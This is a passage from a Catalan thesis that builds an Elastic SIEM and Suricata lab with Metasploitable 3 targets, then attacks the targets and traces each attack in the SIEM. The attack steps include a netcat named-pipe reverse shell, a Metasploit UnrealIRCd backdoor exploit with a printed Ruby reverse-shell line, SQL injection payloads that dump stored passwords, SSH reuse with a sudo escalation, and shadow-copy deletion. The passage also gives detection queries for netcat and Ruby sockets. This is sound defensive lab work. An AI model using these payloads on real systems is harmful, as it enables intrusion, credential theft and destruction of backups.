i amb les alarms, aixi com les diferents regles creades (Captura 25: Finestra
manage signal rules).

Elastic SIEM ens ofereix un seguit de regles basiques precreades. Per tal de
carregar-les, farem clic sobre “Manage Signal detection rules”. Seguidament,
farem clic sobre “Load Prebuilt Detection Rules” (Captura 25: Finestra manage
signal rules). Un cop finalitzat el procés, ens apareixeran les regles creades
(Captura 26: Prebuilt signal rules).

Si fem clic sobre qualsevol d’aquestes regles, ens apareixera més informacio
sobre aquesta (Captura 27: Exemple de signal rule). Entrarem en més detall
sobre les regles en els seglents apartats.

5.1.5. Timelines

Aquest és un dels apartats basics per tal de realitzar I'analisi de logs i poder
detectar anomalies. Elastic SIEM ens ofereix aquesta funcionalitat que ens
permet, mitjancant drag and drop o bé mitjancant querys KQL, analitzar la
informacié recollida pels diferents origens de dades. A la Captura 28: Query
timeline, es pot veure una query per detectar un arxiu que es va eliminar.

Una altra funcionalitat és la de poder afegir notes a esdeveniments en concret.
També ens permet guardar aquest timeline per poder analitzar-lo més endavant
(Captura 29: Timeline guardada).

5.1.6. Regles de deteccio

Per tal de poder realitzar la deteccié de signals, s’utilitzen les regles. Una regla
esta formada principalment per:
» Query: consulta que permet identificar una anomalia. Es poden
utilitzar les timelines creades.
Name: nom identificador del signal.
Description: descripcié del signal.
Severity: indica la criticitat, pot ser low, medium, high o critical.
Risk score: puntuacio del 0 al 100.

YV VY
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» Tags: etiquetes per identificar la regla.
» Schedule rule:

o Interval de temps amb la frequéncia d’execucié de la regla per
detectar els signals en aquell periode.

o Look-back: és el temps addicional que analitzara. Es a dir, Si
s’executa cada cinc minuts i el look-back és d’'un minut, significa
que: cada cinc minuts revisara els esdeveniment que li han
arribat els ultims sis minuts.

Per defecte, totes les regles estan desactivades i I'administrador de I'Elastic
SIEM sera I'encarregat d’activar-les. De la mateixa manera, també es podran
crear regles Personalitzades.

5.2. Escenari 1: Entorn empresarial

5.2.1. Desplegament d’Active Directory
5.2.1.1. Requeriments

Es desplegara el servei d’Active Directory sobre una maquina virtual amb les
seguents caracteristiques:

Sistema Operatiu: Windows Server 2019 Standard.

CPU: 2vCPU.

Memoria RAM: 2GB.

Unitat C: 40 GB.

Nom del domini: mistic.lab.

Hostname: misticad.

VVVYYY

5.2.1.2. Instal-lacié d’ActiveDirectory
Per tal de realitzar el desplegament s’ha utilitzat un script PowerShell que realitza
les seguients accions (Captures

Captura 30: Execucié del script, Captura 31: Contrasenya de recuperacié de
I'’AD, Captura 32: AD funcionant):

Assignar IP estatica.

Configurar DNS.

Desactivar IPv6.

Instal-lacio del rol AD-DS.

Promocié de I'Active Directory.

VVVYY

El script és el seguent: Script 11: Instal-lacié d’Active Directory.

Per tal d’obtenir més informacié sobre els diferents esdeveniments que puguin
succeir, es creara una GPO® per habilitar 'auditoria (Captura 33: Creacié de GPO
Audit):
» Audit account logon events: es registraran tots els intents d’autenticacio
d’'usuaris a aquest domini.
» Audit logon events: es registraran els intents de login al servidor de 'AD.

5Group Policy Object (GPO): son politiques creades a I'Active Directory per tal de definir
configuracions i limitacions pels usuaris que es connectin a un equip del domini.
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» Audit object access: permet que s’auditin altres objectes que no siguin
de I'Active Directory.

5.2.1.3. Instal-lacio del WinlogBeat

Per tal d’obtenir informacié dels diferents esdeveniments que succeeixen al
servidor, instal-larem el paquet WinlogBeat. Aquest Beat disposa d’'un modul per
obtenir les dades del sysmon.

Aquest servei que s’instal-la al servidor ens proporciona informacié sobre la
creacio de processos, connexions de xarxa, creacid de fitxers i alguns tipus
d’injeccié de codi entre d’altres. Una de les configuracions més destacades i
utilitzades és la configuracid generada per “SwiftOnSecurity®”. Per tant,
utilitzarem aquest arxiu de configuracié. Per tal de realitzar tota la instal-lacid,
s’ha generat un script en PowerShell que realitza les tasques seguents:

» Afegir al DNS de Windows el registre del servidor d’Elastic.

» Descarregar el paquet de WinlogBeat i instal-lar-lo.

» Descarregar el paguet de sysmon i la configuracio de SwiftOnSecurity per

la seva instal-lacio.
» Configurar WinlogBeat.
» Instal-lar el servei del WinlogBeat i la seva arrancada.

El script és el seguent: Script 12: Instal-laci6 del WinlogBeat.

Un cop el procés d’instal-lacié ha finalitzat, si ens connectem a I'Elastic SIEM,
podem veure que ja comenca a recopilar dades (Captura 34: Instal-lacié del
WinlogBeat).

5.2.1.4. Instal-lacié d’AuditBeat

Per tal d’obtenir més informacio sobre els diferents processos, aixi com la
integritat dels fitxers, €s necessari instal-lar I'’AuditBeat.

Per tant, utilitzarem aquest arxiu de configuracio. Per tal de realitzar tota la
instal-lacié, he generat un script en PowerShell que realitza les seguents
tasques:

» Descarregar el paquet de I'AuditBeat i instal-lar-lo.

» Configurar I'AuditBeat.

» Instal-lar el servei de 'AuditBeat i la seva arrancada.

El script és el seguent: Script 13: Instal-lacié de I’AuditBeat de Windows.

Un cop el procés d’instal-lacié ha finalitzat, si ens connectem a I'Elastic SIEM,
podem veure que ja comencga a recopilar dades (Captura 35: Esdeveniments de
'AuditBeat).

6 Arxiu de configuracio: https://github.com/SwiftOnSecurity/sysmon-config
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5.2.1.5. Instal-laci6 de PacketBeat

Primer de tot, com a prerequisit del PacketBeat, és necessari instal-lar la llibreria
npcap. Com que no és possible realitzar una instal-laci6 desatesa, ho
instal-larem manualment. Ens descarregarem el paquet i seguirem I'assistent
(Captura 36: Instal-lacié del npcap).

Per tal de realitzar la instal-laci6 del PacketBeat, s’ha elaborat un script amb
powershell que realitzara les segtients accions:

» Descarregar el PacketBeat i instal-lar-lo.

» Configurar el PacketBeat.

» Instal-lar el servei del PacketBeat i la seva arrancada.

El script és el seguient: Script 14: Instal-lacié del PacketBeat de Windows.

Un cop el procés ha finalitzat, si ens connectem a I'Elastic SIEM, podem veure
que, efectivament, comencen a enviar informacié (Captura 37: Instal-lacié del
PacketBeat).

5.2.2. Desplegament del servidor de fitxers

5.2.2.1. Requeriments

Com que ja disposem de I'Active Directory instal-lat, crearem una carpeta en
aguest mateix servidor i la publicarem com a recurs compartit perqué els usuaris
que estiguin al domini puguin utilitzar aquest servei.

5.2.2.2. Creacio del share
Executarem les seglents comandes de PowerShell per crear la carpeta i
compartir-la (Captura 38: Creacio del share): Script 15: Creaci6 del share SMB.

Seguidament, un cop creada la carpeta, el segient pas sera configurar I'auditoria
d’aquesta carpeta. Per fer-ho, ens dirigirem a la carpeta i farem clic amb el bot6
dret seleccionant Properties i seleccionem la pestanya Security (Captura 39:
Finestra de propietats). Premerem sobre el boté Advanced (Captura 40: Finestra
de propietats avancades). A la segient finestra, fem clic sobre Auditing.
Premerem sobre Add i li indicarem que volem que auditi a tots els usuaris
(Everyone). També indicarem que ens auditi les accions de: Create File/Write
Data, Create Folder/append Data, Delete subfolders and files, Delte, Read
Permissions, Change Permissions i Take Ownership (Captura 41: Finestra
d’auditing). Tanquem les diferents pantalles fent clic a OK. Per tal de tenir dades,
crearem un fitxer amb el notepad i després I'eliminarem.

Seguidament, si ens connectem a I'Elastic SIEM i realitzem una cerca per
'esdeveniment de Windows 4663 (creacié de fitxers), podrem veure que s’ha
registrat (Captura 42: Esdeveniment 4663 creacid). A continuacio, si ho tornem
a filtrar pero aquest cop per I'esdeveniment 4656 (eliminacio de fitxers), també
podrem veure el registre (Captura 43: Esdeveniment eliminacio).
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5.2.3. Desplegament del Suricata IDS
5.2.3.1. Requeriments

Realitzarem la instal-lacié del Suricata IDS sobre la segiient maquina virtual:
» Sistema Operatiu: Ubuntu 18.
» Memoria RAM: 2 GB.
» CPU: 2vCPU.
» Suricata: 5.0.

Per tal d’enviar els logs a I'ElasticSearch, instal-larem el FileBeat.

5.2.3.2. Instal-lacié del Suricata
Per tal de realitzar la instal-lacié i la configuracié del Suricata s’ha generat un
script que realitzara les seguents accions:

» Instal-lar el Suricata.

» Configurar el Suricata.

» Actualitzar les regles.

» Reiniciar I'aplicacié per aplicar els canvis en la configuracio.

El script és el seguent: Script 16: Instal-lacié del suricata.

Un cop ja tenim instal-lat i configurat el Suricata, el seglient pas sera instal-lar el
FileBeat per tal d’obtenir la informacié.

5.2.3.3. Instal-lacio del FileBeat

Per tal d’instal-lar el FileBeat al servidor del Suricata, hem adaptat el script que
he utilitzat durant la instal-laci6 de I'Elastic Stack. Els passos que realitza son:
» Instal-lacio del FileBeat.

» Configuraci6 del FileBeat i habilitar el modul del Suricata.
» Configuracio d’arrencada automatica.

El script resultant és el seguent: Script 17: Instal-lacié i configuracié del
FileBeat d’Ubuntu.

Per tal de comprovar el correcte funcionament, configurarem el Suricata perque
detecti com una alerta I'intent de realitzar un telnet contra el servidor o en realitzar
un ping.

Per aix0, he creat el segient fitxer a la ruta /var/lib/suricata/rules/suricata.rules,
amb el seguient contingut:

alert icmp any any -> $HOME_NET any (msg:"ICMP connection attempt"; sid:1000002; rev:1;)
alert tcp any any -> $SHOME_NET 23 (msg:"TELNET connection attempt"; sid:1000003; rev:1;)

Seguidament, he reiniciat el servei del Suricata amb la comanda:

service suricata restart
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Un cop inicialitzat, he realitzat un ping i un telnet contra el servidor: (Captura 44:
Test de ping i telnet). Si ens connectem a I'Elastic SIEM, dins dels esdeveniments
del servidor sruicata.mistic.lab podrem veure aquestes alarmes (Captura 45:
Alarma del Suricata a I'Elastic SIEM).

Per tal de deixar la configuracié normal, tornarem a executar la comanda:

suricata-update
service suricata restart

5.2.4. Desplegament d’entorns vulnerables
5.2.4.1. Desplegament de Linux “Metasploitable”

Una de les primeres maquines que es desplegaran sera Metasploitable 3,
aquesta distribucio es basa en Ubuntu. Esta configurada i preparada amb ports
oberts, aixi com configuracions vulnerables per tal de poder practicar les
intrusions als servidors. La instal-laci6 d’aquest entorn es basa en el
desplegament d’'una maquina virtual. No obstant aix0, no existeix la plantilla siné
que s’ha de crear.

Per fer-ho, és necessari instal-lar el Vagrant’ i el VirtalBox®. Seguidament, ens
descarregarem el Vagrantfile ° del seglient enllac. Amb la seglient comanda de
powerShell es crearan les maquines virtuals per Virtualbox (Captura 46: Crear
magquines Metasploitable 3). Cal estar a la mateixa ruta que I'arxiu descarregat.

vagrant up

Exportarem la maquina en format ova i la importarem al vMWare Workstatsion.
Un cop ja esta arrancada, el seglent pas sera instal-lar els Beats oportuns, en
aquest cas es desplegara I'’AuditBeat i el PacketBeat.

Per tal de realitzar aquesta instal-laci6, adaptarem el script d’instal-lacio
d’aquests components per un entorn Ubuntu. A causa de la versié del Sistema
Operatiu desplegat (Ubuntu 14.04), no és compatible amb la funcionalitat de
socket de I'AuditBeat. Per tant, durant la configuracio el deshabilitarem. El script
realitza les seguents accions:

» Instal-lar el PacketBeat i 'AuditBeat.

» Configurar els dos Beats.

» Configurar l'auto arrencada.

EL script és el seguent: Script 18: Instal-lacié de I’AuditBeat i el PacketBeat
d’Ubuntu.

Un cop instal-lat, si ens connectem a I'Elastic SIEM, podem veure que s’ha donat
d’alta el nou servidor i que esta obtenint dades dels dos Beats (Captura 47: Linux

7 Vagrant: programari destinat a la creacidé i configuracié d’entorns de desenvolupament
virtualitzats.

8 VirtualBox: programari propietat d’Oracle destinat a la virtualitzacié de servidors.

9 Vagrantfile: plantilla on es descriu quin tipus de maquina es desitja, aixi com la seva
configuracié, per poder ser desplegat per Vagrant.
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Metasploitable: Metasploitable AuditBeat i Captura 48: Linux Metasploitable:
Metasploitable PacketBeat).

5.2.4.2. Desplegament de Windows “Metasploitable”

La seglent maquina a desplegar sera una maquina basada en Windows,
utilitzarem la versié de Windows del Metasploitable 3. Desplegarem una maquina
virtual amb un sistema operatiu Windows Server 2008 R2.

La instal-lacié d’aquest entorn es basa en el desplegament d’'una maquina virtual.
De la mateixa manera que la versio Linux, no existeix la plantilla siné que s’ha
de crear. Amb el mateix procediment que hem vist a I'apartat anterior, es
generara també aguesta nova maquina virtual.

Per tant, només s’haura de posar el servidor al domini creat (Captura 49: Afegir
al domini) i instal-lar els Beats oportuns. Com que és un servidor Windows,
s’instal-lara el WinlogBeat, I'AuditBeat i el PacketBeat utilitzant els mateixos
scripts que hem utilitzat durant la instal-lacio del servei de directori (Script 12:
Instal-laci6 del WinlogBeat, Script 13: Instal-laci6 de [I'AuditBeat de
Windows i Script 14: Instal-lacioé del PacketBeat de Windows).

Un cop el procés ha finalitzat, si ens connectem a I'Elastic SIEM, ja podrem veure
que es recullen dades, tant per la part del WinlogBeat (Captura 50: Windows
Metasploitable: Esdeveniments de WinlogBeat), com per la part de I'AuditBeat
(Captura 51: Windows Metasploitable: Esdeveniment d’AuditBeat), com el
PacketBeat (Captura 52: Windows Metasploitable: Esdeveniments de
PacketBeat).

5.2.4.3. Desplegament del Web Security Dojo

El seglent entorn per desplegar sera el Web Security Dojo, és una distribucio
basada en Xubuntu que esta preparada per realitzar atacs d’intrusié sobre
entorns web.

En aquest cas, s’instal-laran els Beats AuditBeat i PacketBeat. S'utilitzara el
mateix script usat en la instal-lacio del Metaspoliable3 de Linux: Script 18:
Instal-lacio de I’AuditBeat i el PacketBeat d’Ubuntu.

Un cop el procés ha finalitzat, si ens connectem a I'Elastic SIEM, ja podrem veure
gue es recullen dades. Tant per la part de AuditBeat (Captura 53: Web Security
Dojo: Esdeveniment d’AuditBeat), com per la part del PacketBeat (Captura 54:
Web Security Dojo: Esdeveniment de PacketBeat).

Com que és una distribucié pensada per intrusions web, també pot ser (util
instal-lar TAPM-Agent per NodeJS™.

Per fer-ho, s’ha creat un script que realitza les seguents tasques:
» Instal-lar el modul de I'elastic-apm-node.

10 NodeJS: entorn d’execucié per la capa servidor basat en JavaScript.
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» Configurar I'aplicacio perqué I'utilitzi.

El script en questio és el seguent: Script 19: Instal-laci6 APM-Agent NodeJS.

Un cop instal-lat, ja podrem veure que comenca a reportar informacié a
I'ElasticSearch (Captura 55: Web Security Dojo: APM-Agent).

5.2.5. Deteccid damenaces

Un cop desplegats els diferents components que formaran part d’aquest
escenari, el segient pas sera explotar-lo i utilitzar les diferents funcionalitats per
a detectar anomalies.

5.2.5.1. Deteccié d’amenaces mitjancant regles precreades

Com s’ha comentat en apartats anteriors, s’han carregat a I'Elastic SIEM un
seguit de regles precreades. En aquest apartat, par tal de provar el funcionament
d’aquestes i disposar de singals, simularé diferents proves per tal de generar-ne.

Una de les regles més basiques que detectaria seria 'anomenada “Whoami
Process Activity” (Captura 56: Regla whoami), que permet detectar 'execucio de
la comanda whoami. Aquesta comanda proporciona informacié sobre qui és
'usuari que executa el script, aixi com els seus privilegis. Per defecte, és una
comanda que no s'utilitza freqientment pels usuaris, pero, en canvi, aporta
informacio valuosa durant I'execucié de scripts.

Si I'habilitem, fent clic sobre el botd active que apareix a la part superior de la
finestra i executem la comanda al servidor Windows, podem veure que un cop
s’executi la politica apareix aquesta nova signal (Captura 57: Deteccio del signal
whoami).

Signal count

Stackby  signal.rule.risk_score

Signals

Continuant amb I'entorn Windows, una altra de les regles que podem activar és
la “Volume Shadow Copy Deletion via VssAdmin” (Captura 58: Regla volume
shadow copy). La comanda vssadmin ens permet realitzar backups d’unitats
mitjancant el Volume Shadow Copy. Es possible que, mitjancant un atac de
ransomware o algun altre atac destructiu, una de les accions que realitzi sigui
eliminar aquests backups. Per tal de simular-ho, ho podem fer amb les segtients
comandes (Captura 59: Creacié i eliminacié amb vssadmin):

vssadmin create shadow /for=c:
vssadmin list shadows
vssadmin delete shadows /all
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Un cop s’executi la regla, podrem veure que, efectivament, apareix aquesta nova
signal (Captura 60: Deteccio de signal volume shadow copy).

Slgidr count

Stackby  signal.rule.risk_score v

Signals

També hi ha regles precreades que ens permeten detectar anomalies als entorns
Linux. Un exemple d’aquesta seria 'anomenada “Nmap Process Activity”
(Captura 61: Regla nmap). Aquest procés s'’utilitza frequentment per realitzar
escaners de xarxes i ports oberts. Si executem la comanda (Captura 62:
Execucioé de nmap):

nmap -sS 192.168.43.103

Podem veure que, efectivament, apareix la signal (Captura 63: Deteccié del
signal nmap).

Signal count

Stackby  signal.rule.risk_score

Signals

Rule Version Method Severity Risk Score

5.2.5.2. Creacio de regles

Com hem comentat en apartats anteriors, totes les regles de deteccid es basen
en consultes que es realitzen sobre la informacio indexada que disposa
ElasticSearch. Per tant, és possible crear regles personalitzades per nosaltres
mateixos per tal de poder detectar anomalies.

Una regla interessant a crear seria la deteccidé de I'execucié del Netcat!l. En
alguns atacs, és comu utilitzar aguest paquet per a obrir un reverse shell o un
shell per tal de poder executar comandes a I'entorn de la victima.

11 Netcat: utilitat que permet I'obertura de ports TCP/UDP i permet forgar connexions a un port
concret.
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El servidor atacant ha d’obrir un socket per on entrara al reverse shell del servidor
victima (Captura 64: Reverse shell nc). Per poder simular aquest atac,
executarem les seguients comandes:

nc -nvip 4444

Pel que fa al servidor victima, amb algunes versions especifiques del nc és
possible utilitzar el flag “-e” que permet executar un programa en el moment que
s’estableix la comunicacié. No obstant aix0, aquest flag no apareix en tots els
paquets del nc. Per tal de solucionar aquest “problema”, podem realitzar una
tasca similar amb les seglients comandes executades al servidor de la victima
(Captura 61):

mknod /tmp/backpipe p
/bin/sh O</tmp/backpipe | nc 192.168.43.142 4444 1>/tmp/backpipe

Per tal de detectar aquest procés, ho podrem fer mitjancant la seglient consulta
(Captura 65: Consulta d’utilitzacio de nc):

process.name: (nc or ncat or netcat or netcat.openbsd or netcat.traditional) and event.action:
("process_started")

Per tant, crearem una regla amb aquesta consulta. Inicialment, li indicarem quin
és l'index-pattern que es pot localitzar i, seguidament la consulta (Captura 66:
Creaci6 de regla 1). Després, indicarem el nom de la regla, aixi com una breu
descripcid. Li indicarem la criticitat i la puntuacié de risc: (Captura 67: Creacio
de regla 2). En ultim lloc, tan sols haurem d’indicar cada quant volem que
s’executi la deteccié i quina és la franja de temps a analitzar. (Captura 68:
Creaci6 de regla 3).

Si tornem a realitzar les mateixes comandes, un cop es processi la regla,
apareixera la signal oportuna (Captura 69: Signal d’utilitzaci6 nc):

Signal count

Stack by

. Signals .

Una altra regla interessant a crear seria la deteccié d’'un escaner de ports remots,
per fer-ho, ens podem aprofitar de la deteccid que realitza el Suricata. Com hem
comentat, aquesta deteccid ens apareixera en mode d’alert. No obstant aixo,
també podem crear una regla perque ens aparegui la signal.

Des d’'un servidor atacant, executem la segient comanda (Captura 70: Port
scan):

nmap 192.168.43.103
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Podem veure que, efectivament, ens ha aparegut una alerta (Captura 71: Alerta
de port scan). Mitjancant drag and drop dels diferents camps de l'alerta, i
assignem un nom per guardar la timeline (Captura 72: Consulta de port scan).

A continuacio, creem una nova regla. Primer li indicarem quin és I'index-pattern
a consultar i, seguidament, farem clic sobre “Import Query from Saved Timeline”
(Captura 73: Creacio de regla port scan 1). Després, indicarem el nom de laregla,
una descripcio, la criticitat i el risk score. (Captura 74: Creacid de regla port scan
2). En dltim lloc, la periodicitat que volem que s’executi i la franja del temps que
recull (Captura 75: Creacio de regla port scan 3). Guardem i activem la regla.

Si tornem a executar la comanda anterior de nou, apareixera la nova signal
(Captura 76: Signal de port scan).
-I

Signal count

Signals

5.2.6. Analisis d’atacs

Com hem vist en els punts anteriors, I'analisi de logs, aixi com la detecci6 de
signals, es realitza mitjangant 'elaboracié de consultes sobre la informacio
indexada que conté I'ElasticSearch.

Per tal de continuar provant el funcionament de I'Elastic SIEM, en els seguents
apartats realitzaré diferents atacs als diferents entorns per detectar-los i realitzar
un seguiment mitjancant I'Elastic SIEM.

5.2.6.1. Metasploitable 3: Ubuntu 14

Per tal de realitzar una prova d’intrusio, un dels primers passos que es poden fer
és realitzar un analisi de ports per tal de poder obtenir informacié sobre els
diferents serveis que esta executant el servidor. Podem realitzar I'escaner de
ports amb la seglient comanda, on es guardara la sortida en un arxiu en format
xml (Captura 77: Realitzacioé del nmap):

nmap -sV -Pn -T4 -p 1-65535 -0X metasploitable3.xml 192.168.43.103

Un cop executada aquesta comanda, ja podem detectar diferents alarmes que
provenen del Suricata, indicant que s’han detectat possibles “Web Applications
Attacks” (Captura 78: Elastic SIEM deteccio d’alarmes). També podem veure que
han aparegut diverses signals provinents de la regla Port_Scan que he creat a
'apartat anterior (Captura 79: Elastic SIEM deteccio signal).
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Amb aquesta informacio, I'organitzacio ja pot tenir una idea que alguna cosa esta
passant a la seva infraestructura. Si analitzem un dels esdeveniments en més
detall i ens fixem en el camp “suricata.eve.alert.signature”, ens indica que s’ha
detectat "ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap
Scripting Engine)” (Captura 80: Elastic SIEM detall d’alarma).

Si filtrem en aquesta franja horaria i ens dirigim a la finestra, podrem veure els
esdeveniments detectats pels diferents agents en aquest periode de temps
(Captura 81: Elastic SIEM: Deteccié de paquets de PacketBeat). Gracies al
PacketBeat, podem veure que s’han enviat paquets a diferents ports com seria
el 8181, el 631 o el 3500.

No obstant aix0, si analitzem mitjancant el timeline, tan sols s’ha detectat un
procés amb I'’AuditBeat durant aguesta franja horaria, aixo fa pensar que no s’ha
aconseguit 'accés (Captura 82: Elastic SIEM: timeline nmap).

.

Un cop analitzada aquesta informacié a través d’Elastic SIEM, continuarem amb
la prova d’intrusio.

Al servidor kali, accedirem a la consola de “Metasploit Framework Console” i
importarem la informaci6 obtinguda del nmap (Captura 83: Importar informacié
de la Metasploit framework console)

db_import metasploitable3.xml

Podrem veure els serveis detectats amb el nmap (Captura 84: Llistar serveis del
Metasploit framework) executant la seglient comanda:

services
5.2.6.1.1. UnreallRCD

Un dels serveis que podem veure que esta obert és I'UnreallRCD. EXxisteix una
vulnerabilitat en les versions 3.2.8.1 que permet obrir una backdoor per executar
codi remot (CVE-2010-2075). Mitjancant la Metasploit Framework Console,
provarem de realitzar I'exploit d’aquesta vulnerabilitat. Per fer-ho, executarem les
seguents comandes:

use exploit/unix/irc/unreal_ircd_3281_backdoor

a7


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2075

set rhost 192.168.43.103

set rport 6697

set payload cmd/unix/reverse_ruby
set lhost 192.168.43.142

set Iport 2345

run

Un cop executat (Captura 85: Exploit unreal_ircd_3281_backdoor), podem veure
que, efectivament, hem pogut explotar la vulnerabilitat i hem aconseguit accés al
servidor. Passem a veure amb I'Elastic SIEM si s’ha detectat alguna anomalia.
Si ens dirigim a la finestra de deteccié, podem veure que no ha aparegut cap
alarma, aixo significa que el Suricata no ha detectat cap anomalia (Captura 86:
No alarma de l'unreal_ircd_3281_backdoor).

Si continuem investigant, accedim a la finestra hosts i anem a la pestanya on es
mostra la llista de processos no comuns, podem veure que l'usuari boba_fett ha
executat algun procés ruby (Captura 87: Processos no comuns de
l'unreal_ircd_3281 backdoor 1). Si fem clic sobre +3 more (Captura 88:
Processos no comuns de l'unreal_ircd_3281_backdoor 2), podem veure que ha
creat una comunicacio a una maquina amb la IP 192.168.43.142 pel port 2345,
que no pertany a I'organitzacio.

Uncommon processes

Showing: 2 processes

Processn Iser
+ -rsocket
apache? , _g v-data

» exit if fork;c=TCPSocket.new("192.168.43.142""2345");while(cmd=c.gets);|0.popen(cmd,"r"){|io|c.print io.read}end

ruby e _fott

+3 More

Si realitzem una timeline amb la consulta Destination.port: “2345” de connexions cap
al port 2345 que hem vist, podem veure que efectivament s’ha establert una
connexi6 en aquest port (Captura 89: Timeline del port 2345
unreal_ircd_3281 backdoor 1). També podem veure un esdeveniment que
genera el Suricata, on s’indica que s’ha mantingut una comunicacio oberta durant
19 segons aproximadament (Captura 90: Timeline del port 2345
unreal_ircd_3281 backdoor 2).

Tenint aquesta informacio, i gracies al camp event.start i event.end del mateix
esdeveniment del Suricata, podem indicar que la bretxa de seguretat ha estat
entre les 19:31:38 i les 19:31:58. No obstant aix0, no s’ha registrat
'esdeveniment fins a les 19.42, cosa que fa pensar que s’ha establert la
comunicacié i s’ha deixat inicialitzada durant aquest periode.

Si analitzem aquesta franja horaria sense tenir en compte la informaci6 de la
xarxa amb la consulta hostname: "metasploitable3-ub1404" and NOT event.category:
"network_traffic", (Captura 91: Timeline del procés ruby unreal_ircd 3281 backdoor)
podem veure que, des de la carpeta /opt/unrealircd/Unreal3.2, s’ha llengat un
procés amb ruby per obrir un socket.
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OR host.name: "metasploitable3-ub1404" x AND || not event.category: "network_traffic" X
Drop here to build an OR query
ano | Filter ~ [ v Search KQL Raw events
®  +Add filter

i= Columns  @timestamp message event.category event.action host.name source.ij
> ﬁ O :Apri14, 2020 @ 19:31:44160 Process ruby (PID: 2496) by ... | — process_started metasploitable3-ub1404 —

2 boba fett @ | metasploitable3-ub1404 | in B3 foptjunrealiccd/Unreal3.2 | startedprocess | >-ruby | (2496) | ruby | | -rsocket | -e
exit if fork;c=TCPSocket.new(*192.168.43.142",'2345");while(cmd=c.gets);10.popen(cmd;r"){io|c.print io.read}end  via parent process = (1)

# 9e0f7073b2d9c836a806ad0e16ce626ch0541ff0

@ Process ruby (PID: 2496) by user boba_fett STARTED

En aquest cas podem veure que, si es revisen els logs, podem detectar que hi
ha hagut una intrusié. No obstant aix0, la seva deteccio ha estat possible gracies
a saber previament la franja horaria en que ha succeit, ja que cap dels
components que formen la plataforma ho ha detectat. Per poder detectar aquest
reverse proxy, podem crear una signal amb la seguient query (Captura 92: Regla
de deteccio unreal_ircd_3281 backdoor):

process.args: ruby and process.args: "-rsocket"

Si de nou tornem a executar I'exploit, ens apareixera aquesta nova signal que
acabem de crear (Captura 93: Signal d’'unreal_ircd_3281 backdoor).

5.2.6.1.2. Aplicacio payroll_app.php

Un altre dels serveis detectats amb el nmap és un servidor web que escolta pel
port 80. Si accedim a ell podrem veure diferents aplicacions (Captura 94: Web
servidor), una de les quals és payroll_app.php.

Si accediem a ella, podem veure que és un simple formulari que ens demana un
usuari i una contrasenya (Captura 95: Pagina login del payroll_app.php). Un dels
principals problemes amb els formularis és que no es controlin els tipus de
caracters que s’hi introdueixen, permetent realitzar atacs de SQL Injection. Per
tal de comprovar si aquesta aplicacié és vulnerable o no, introduirem al camp
user la seglent consulta (Captura 96: Prova d’'SQL Injection):

‘or 1=1#

Podem veure que, efectivament, I'atac ha tingut éxit i hem accedit a I'aplicacio
sense saber cap usuari ni cap contrasenya (Captura 97: Accés a l'aplicacié sense
contrasenya ni usuari). També podem veure que la web ha enviat com a
parametre el valor introduit.

Vist aguest comportament, traurem més informaci6 sobre la base de dades. Ho
farem mitjancant la segtient consulta (Captura 98: Consulta de relacié de taules
i columnes), que ens mostrara les diferents taules, el nom de les columnes, aixi
com el tipus:

' OR 1=1 UNION SELECT 1,1,1,CONCAT(TABLE_NAME," - ", Column_name," - ",Data_type) FROM
information_schema.columns WHERE TABLE_SCHEMA = DATABASE()#
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Un cop accedit, si ens dirigim al final de la taula, podrem veure que la taula de la
base de dades s’anomena users i una de les columnes s’anomena password
(Captura 99: Resultat de la relaci6 de taules i columnes).

Amb aquesta informacié podem treure la relacid entre users i password si
realitzem la segiient consulta (Captura 100: Relacié usuari i contrasenya):

'OR 1=1 UNION SELECT null,null,username,password FROM users#

Una de les contrasenyes que es mostren és la de la usuaria leia_organa que és
help_me_obiwan.

Si continuem tibant d’aquest fil, €s molt probable que l'usuari local i 'usuari de la
base de dades comparteixin la mateixa contrasenya. Per tant, provarem de
connectar-nos al servidor mitjancant SSH amb la informacio obtinguda (Captura
101: Accés mitjancant ssh amb l'usuari leia_organa).

ssh leia_organa@192.168.43.103

Podem veure que, efectivament, té la mateixa contrasenya i hem pogut accedir
al servidor. En ultim lloc, tan sols queda provar si €s possible que aquesta usuaria
es pugui transformar en root. També ho hem aconseguit amb la seguent
comanda (Captura 102: Elevacio de privilegis de leia_organa):

sudo su -
vi /etc/hosts

Hem pogut accedir al servidor amb permisos d’administrador i modificar un arxiu
de sistema gracies a un SQL Injection realitzat a una aplicacié no segura.

A continuacio, es revisara si Elastic SIEM ha detectat aquesta intrusié. Accedint
a overview, podem veure que no s’ha detectat cap signal ni cap alarma (Captura
103: Finestra Overview).

Si accedim als hosts i seleccionem el host en glestio, podem veure que nomeés
s’han detectat 2 logins de l'usuari leia_organa (Captura 104: Autenticacions del
host). Si continuem a I'apartat Uncommon procecess, veiem que s’ha connectat

mitjancant SSH i ha realitzat sudo (Captura 105: Processos no comuns), un
comportament normal si la usuaria té permisos per fer-ho.

Authentications

Authentications
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Deixem aquesta finestra i ens dirigim a Network, aqui podem veure una connexio
des de la IP 192.168.43.142, una IP de fora de l'organitzacio. Si indaguem una
mica més amb aquesta dada, podem veure que una de les connexions que s’ha
realitzat ha estat al servidor afectat mitjangant l'usuari leia_organa (Captura 106:
Informacié de Network).

A continuacio, busquem més informacio sobre el servidor afectat fent clic sobre
la IP. Si ens dirigim al panell HTTP requests, podem veure que s’han realitzat
diverses sol-licituds a 'aplicacioé de payroll_app.php (Captura 107: Detall source
IP). Per continuar amb la investigacio, crearem una timeline amb aquesta
informacio. Si fem clic sobre un dels esdeveniments, ens crida I'atencié que el
camp url.query que s’ha utilitzat és estranya (Captura 108: Timeline de 'URL

query):
OR url.path: "/payroll_app.php" X
Jrop here to build an OR query
anp | Filter 5~ Search
&) + Add filter
= Columns  @timestamp - message event.category

# | source.port 28384

Thet
protc

Thet

titype nttp of flo

t url.domain 192.168.43.103

http://192.168.43.103/payroll_app.php

t curlful

password=&s=0K&user=%27+0OR+1%3D1+UNION+SELECT+null%2Cnull%?2
Cusername%2Cpassword+FROM+users%23

Una altra informacio interessant que mostra és que s’ha llengat aquesta query
des de la IP 192.168.43.1% (Captura 109: Detall del timeline source IP).

Si filtrem per aquest interval de temps, ens dirigim a la finestra de Hosts i
seleccionem el servidor en guestio, podem veure que I'autenticacio de la usuaria
ha estat aproximadament 6 minuts més tard.

Si ens dirigim a veure els esdeveniments i creem una pipline amb la seguent
query:

host.name: "metasploitable3-ub1404" and NOT event.category: "network_traffic".

Podem seguir les tasques que s’han realitzat: podem veure gue la usuaria ha fet
logindes delalP 192.168.43.142 (Captura 110: Timeline del host franja horaria),
